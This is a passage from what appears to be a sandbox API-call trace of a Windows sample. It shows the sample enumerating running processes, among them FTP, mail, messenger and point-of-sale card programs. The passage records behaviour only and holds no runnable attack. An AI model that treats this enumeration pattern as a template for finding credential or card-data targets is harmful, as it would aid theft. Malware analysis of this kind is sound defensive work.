lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.481] lstrlenW (lpString="svchost.exe") returned 11 [0085.481] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0085.482] lstrlenW (lpString="taskhost.exe") returned 12 [0085.482] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0085.483] lstrlenW (lpString="taskeng.exe") returned 11 [0085.483] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0085.484] lstrlenW (lpString="developingthousands.exe") returned 23 [0085.484] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0085.484] lstrlenW (lpString="efattack.exe") returned 12 [0085.485] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0085.486] lstrlenW (lpString="feedback.exe") returned 12 [0085.486] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0085.486] lstrlenW (lpString="happy blond engage.exe") returned 22 [0085.487] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0085.488] lstrlenW (lpString="controller_type.exe") returned 19 [0085.488] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0085.489] lstrlenW (lpString="donations_berry.exe") returned 19 [0085.489] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0085.490] lstrlenW (lpString="lindsay.exe") returned 11 [0085.490] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0085.491] lstrlenW (lpString="columnists.exe") returned 14 [0085.491] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0085.491] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0085.491] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0085.492] lstrlenW (lpString="chose.exe") returned 9 [0085.492] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0085.493] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0085.493] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0085.494] lstrlenW (lpString="methods.exe") returned 11 [0085.494] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0085.495] lstrlenW (lpString="circulation.exe") returned 15 [0085.495] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0085.496] lstrlenW (lpString="suited.exe") returned 10 [0085.496] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0085.496] lstrlenW (lpString="infrastructure.exe") returned 18 [0085.497] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0085.497] lstrlenW (lpString="manager_olympic.exe") returned 19 [0085.497] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0085.498] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0085.498] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0085.499] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0085.499] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0085.499] lstrlenW (lpString="3dftp.exe") returned 9 [0085.499] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0085.500] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0085.500] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0085.501] lstrlenW (lpString="alftp.exe") returned 9 [0085.501] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0085.502] lstrlenW (lpString="barca.exe") returned 9 [0085.502] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0086.098] lstrlenW (lpString="bitkinex.exe") returned 12 [0086.098] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0086.099] lstrlenW (lpString="coreftp.exe") returned 11 [0086.099] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0086.100] lstrlenW (lpString="far.exe") returned 7 [0086.101] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0086.102] lstrlenW (lpString="filezilla.exe") returned 13 [0086.102] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0086.103] lstrlenW (lpString="flashfxp.exe") returned 12 [0086.103] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0086.104] lstrlenW (lpString="fling.exe") returned 9 [0086.104] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0086.105] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0086.106] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0086.107] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0086.107] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0086.108] lstrlenW (lpString="icq.exe") returned 7 [0086.108] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0086.109] lstrlenW (lpString="leechftp.exe") returned 12 [0086.109] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0086.110] lstrlenW (lpString="ncftp.exe") returned 9 [0086.110] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0086.112] lstrlenW (lpString="notepad.exe") returned 11 [0086.112] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0086.114] lstrlenW (lpString="operamail.exe") returned 13 [0086.114] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0086.115] lstrlenW (lpString="pidgin.exe") returned 10 [0086.115] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0086.117] lstrlenW (lpString="scriptftp.exe") returned 13 [0086.117] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0086.118] lstrlenW (lpString="skype.exe") returned 9 [0086.118] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0086.120] lstrlenW (lpString="smartftp.exe") returned 12 [0086.120] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0086.122] lstrlenW (lpString="thunderbird.exe") returned 15 [0086.122] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0086.124] lstrlenW (lpString="totalcmd.exe") returned 12 [0086.124] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0086.125] lstrlenW (lpString="trillian.exe") returned 12 [0086.125] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0086.127] lstrlenW (lpString="webdrive.exe") returned 12 [0086.127] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0086.129] lstrlenW (lpString="whatsapp.exe") returned 12 [0086.129] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0086.130] lstrlenW (lpString="winscp.exe") returned 10 [0086.130] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0086.131] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0086.131] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0086.132] lstrlenW (lpString="active-charge.exe") returned 17 [0086.132] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0086.133] lstrlenW (lpString="accupos.exe") returned 11 [0086.133] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0086.134] lstrlenW (lpString="afr38.exe") returned 9 [0086.135] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0086.136] lstrlenW (lpString="aldelo.exe") returned 10 [0086.136] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0086.138] lstrlenW (lpString="ccv_server.exe") returned 14 [0086.138] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0086.140] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0086.140] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0086.141] lstrlenW (lpString="creditservice.exe") returned 17 [0086.141] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0086.538] lstrlenW (lpString="edcsvr.exe") returned 10 [0086.539] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0086.540] lstrlenW (lpString="fpos.exe") returned 8 [0086.540] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0086.542] lstrlenW (lpString="isspos.exe") returned 10 [0086.542] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0086.543] lstrlenW (lpString="mxslipstream.exe") returned 16 [0086.543] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0086.544] lstrlenW (lpString="omnipos.exe") returned 11 [0086.544] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0086.546] lstrlenW (lpString="spcwin.exe") returned 10 [0086.546] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0086.547] lstrlenW (lpString="spgagentservice.exe") returned 19 [0086.547] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0086.549] lstrlenW (lpString="utg2.exe") returned 8 [0086.549] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0086.551] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0086.551] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0086.552] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0086.552] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0086.554] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0086.554] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0086.555] lstrlenW (lpString="achieve.exe") returned 11 [0086.555] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0086.557] lstrlenW (lpString="harvard.exe") returned 11 [0086.557] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.558] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0086.558] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.559] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0086.559] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, 